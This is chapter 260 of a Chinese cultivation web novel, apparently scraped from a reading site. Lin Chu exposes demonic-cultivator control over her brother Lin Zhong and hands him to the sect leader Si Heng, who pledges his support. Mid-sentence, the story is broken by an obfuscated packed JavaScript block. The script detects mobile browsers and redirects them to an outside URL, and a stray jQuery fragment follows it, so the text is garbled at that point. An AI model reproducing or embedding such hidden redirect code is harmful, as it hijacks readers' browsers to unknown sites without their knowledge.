260.第 260 章

——以前是我在暗,敌在明,如今只怕是倒过来了。别说欢鸣,就是蔺初自己都觉得不适应,这种耍阴招似乎是她的特权,没想到自己有一天也会强到让敌人搞这套来对付她。


“我这辈子,最开心的时候就是放逐你们的那一天。”没有直面回答蔺仲的问题,蔺初微笑着说出了叫人觉得胆寒的话。


“我们是你的家人,你怎么可以对我们这么冷漠?”两行泪从蔺仲的眼眶里滑落,怨恨不再被掩饰,直直朝蔺初而来。


“以其人之道还治其人之身,我何错之有?”蔺初不明白蔺仲的逻辑,似乎自己不愿放下是什么天大的追过。


“这到底是为什么?”蔺仲一拳狠狠砸在桌面,巨大的敲击力让餐盘翻的翻、洒的洒,原本干净整洁的桌面瞬时一团糟。


“施暴者问询受害者为什么不可以原谅?”蔺初整张脸都是疑惑,“蔺仲,你怎么问的出口的?”


“我,那姐姐就准备一辈子活在仇恨之中吗?”蔺仲不解,时间过去了这么久,爸妈哥姐也都受到了惩罚,眼前人当真就那么狠心,要把事情做绝嘛!


“眼不见心不烦,你今日若是不来找我,我就过的挺好的。”蔺初的思维也不会被轻易带跑偏,她微微摇着头说:“难道不是你们过不下去了,又要来我这里寻求庇护嘛?”


“蔺初,你的心到底为什么这么狠?到底要怎么做,你才能放下过去那些仇恨?”蔺仲抹了把眼泪,他在心底不停高阶自己不能冲动,家人的性命全都系在他身上,要是他忍不了这口气身后的人就彻底没有指望了。


“时光倒流。”蔺初说出了自己的答案。


“这怎么可能!”听到这个答案,蔺仲只觉得荒谬绝伦,“若是因为你今日的无情害死了最亲近之人,他日你就不会后悔嘛?”


“如果你们有本事把故事圆回来,证明你们对我做的一切都是有苦衷的,我就会后悔。”蔺初很实诚的说出了自己的想法,她并不吝啬于自己的答案。


蔺仲抿唇不语,他的眉头紧紧皱着,不知道接下去该怎么办才好。


“而且你的逻辑很奇怪,自己的家人无能保护,你不怪自己也不记恨那些生死仇人,倒是把罪责统统推到我身上,是什么道理呢?是不是因为你的思维还停留在过去,觉得我是个软柿子,最好拿捏?”蔺初的声音越来越轻,诱导意味也越来越轻,“所以,是谁呢?谁送你过来的?”


“我不能说。”蔺仲不能说,也不敢说,他身上被下了禁制,哪怕是想也说不出来。


“好容易能过两天安生的日子,这些鸡零狗碎的事情又跑回来了。”欢鸣是真的替蔺初心累,她是真的全年无休,根本就没有能停下来喘口气的事件,便是今日终于想放松一下,前有铁狂风后有蔺仲,一个赛一个的能叫蔺初心烦。


——他不肯说,我就没法子了?蔺初食指在桌面轻点两下,一个灿金色的功德壁障瞬间就将蔺仲包裹住。


“啊!”惨叫声从蔺仲的口中喊出,功德之力发现了他身上的魔气,双方一照面就撕扯起来。


一片片、一块块腐蚀疮面浮现,透过蔺仲大张的嘴,蔺初可以看到他的口腔、喉管也有不同程度的损伤。再这样下去,不出半分钟他就会窒息而死。


将功德壁障扯去,蔺初不可能亲手杀死自己的血亲。


“嗬嗬。”受了重伤的蔺仲从凳子滑落,直直摔到地上。


“原来是邪魔修那边。”蔺初凉凉的声音响起,她已经知道了背后捣鬼之人分属哪块势力,自然就不必继续折腾这小子了。


“你打算怎么做?”这个答案并不难猜,只是处理起来却会很麻烦,欢鸣知道其中的复杂,不知道蔺初打算怎么处理。


——我吗?蔺初冷哼一声,觉得欢鸣这个问题有点愚蠢。


“我怎么愚蠢了?”欢鸣不服气,他可是一片好心啊,怎么蔺初还讽刺他。


——手底下养了这么多人,难道桩桩件件都要我亲自去办?蔺初一把提起蔺仲,准备离开茶楼。


“钱还没付呢。”欢鸣提醒道。


蔺初没办法,只得用光脑付账,然后再带着半死不活的蔺仲出门。


“你这个办法好,不接招!够狠,这件事你不管办还是不办,怎么处理都不好,左右为难,不如交出去,当个舒舒坦坦的甩手掌柜,妙啊!”欢鸣竖起了大拇指,佩服蔺初的决断。


——总不能如了他们的意。蔺初不用脑子也猜得出这群邪魔修想干嘛,她之前闹了这一场,对方怎么会不反击,只是不同于寻常的剧本,这些家人还真是要挟不到蔺初。


“话说,你准备找谁去?”欢鸣吃不准蔺初想把这个苦差事给谁去办,似乎交给谁都是在坑人。


蔺初不语,直直朝着一个方向疾驰而去,欢鸣见问不出答案直接点开光脑搜,毕竟方向是有了,往前延伸一下就大概能猜到蔺初的目标了。而随着地图朝前移动,欢鸣猜到了谁要去吃这个苦头!


司珩!


“不是吧!这么重要的事情,你要交给司珩?”欢鸣被自己猜的这个答案惊得一身冷汗,蔺初这是想干什么到底!


——养了他这么久,该是用的时候了。邪魔修的这一步,叫蔺初来说还真是走错了,可他们动手绝对是想过自己会有什么反应的,也就是说不管她做什么选择,对于有心人来讲肯定有应付的法子,所以,蔺初就该给他们来点不一样的。


不过刚到地方,蔺初就瞧见铁狂风激动的在说些什么,而司珩面容板正,一脸的不赞同,周遭更是跪了一地的凌霄剑宗修士,单是这场面,蔺初就知道司珩这是又在摆谱了。


合体期的修士出场宛若一阵狂风,带的所有人衣袂飘飞,人影一闪蔺初就坐到了石凳之上,而有些反应不过来的司珩此刻怀里多了一个气息陌生的年轻男子。


“蔺道友?”铁狂风面皮发热,他没想到自


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099849|156689||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


己劝说司珩的场面居然被蔺初抓个正着。


“还没劝好呢?”蔺初说这话,看向的是司珩,冰冷的眼神里已经没有一丝耐心了。


这是蔺初的警告,也是最后一次,若是此刻司珩还要端着架子摆那副心灰意冷的样子,蔺初会叫他知道花儿究竟为什么这样的红。


肃杀之气席卷全场,来自功德修士的压迫力竟一点也不必剑修差,周遭所有的修士只觉得自己在暴风之中,罡风如利刃要将他们全部切碎,而感受最深的莫过于暴风中心的司珩。


不必说那些推诿的场面话,司珩此刻连开口都觉得压力山大,他从那双眼睛里已经读到了对方想要表达的信息:要么臣服、要么滚蛋。


从私心来说司珩希望这一切都没有发生过,他还是那个光风霁月的凌霄剑宗宗主,受万人敬重、领南岭全境,可这些都已经是妄想了,现在南岭的主人已经是蔺初了。


这样的落差不是一般人能承受的,所谓登得越高、伤的越重,有时候司珩甚至希望蔺初从来不曾出现过,她没有力挽狂澜保住南岭,就让自己和凌霄剑宗一起湮灭在这块土地上,或许对他来说才是解脱。


只要在这宗主之位一天,司珩就不可只顾小情,他的身后是一双双期待的眼睛,这群人依赖着他,他们年轻的生命就如同怀中人般,都不过是刚刚初生的朝阳。环顾四周,跪在地上的门人依旧不肯起来,铁狂风更是紧张的双目圆睁,那是在为自己担忧。


“不知蔺道友突然来访,所谓何事?”司珩放下怀中的年轻人,将他交给边上的弟子。蔺初的意思铁狂风都已告知于他,他心中确实有些意动,只是这些事情事关重大他不好立时做出决定,才有蔺初见到的这一幕。


“司道友整日顾影自怜、自怨自艾的,还没够吗?”见对方没有回答自己的话,蔺初也分毫不客气。


这话既出,气氛更是为之一肃。司珩看着在场的门人,他们不约而同的将头埋的更低只觉得今时不同往日,凌霄剑宗是真的要败了,哪怕是邪魔修将门人全部生擒那会,他们的锐气也不曾被磨去半分。


司珩尤记得,阴罗宗小人羞辱于他,那些弟子宁死也要为自己为宗门挽尊,那是宁愿站着死也不愿跪着生,如今南岭太平了,还是修真界唯一的净土,可他的门下子弟,却一个个跪了下来。


“我瞧着,他只是发现自己的问题了?”欢鸣瞧着司珩面上神色变换,猜到他有心悔悟。


“蔺道友!”司珩朝着蔺初一揖到底,这是之前从未有过的,“司某已知道友来意,若是道友不弃,某愿为南岭敬献绵薄之力。”


“司道友这是想通了?”蔺初目的达到,自不会再用言语磋磨对方,态度也缓和了不少。


剑修剑修,自是以身为剑,锐利进取,司珩这段时间过不去自己的心结,带的宗门上下也都夹着尾巴做人。其他门派借着这点时间,早就恢复生息了,唯有凌霄剑宗上下死气沉沉。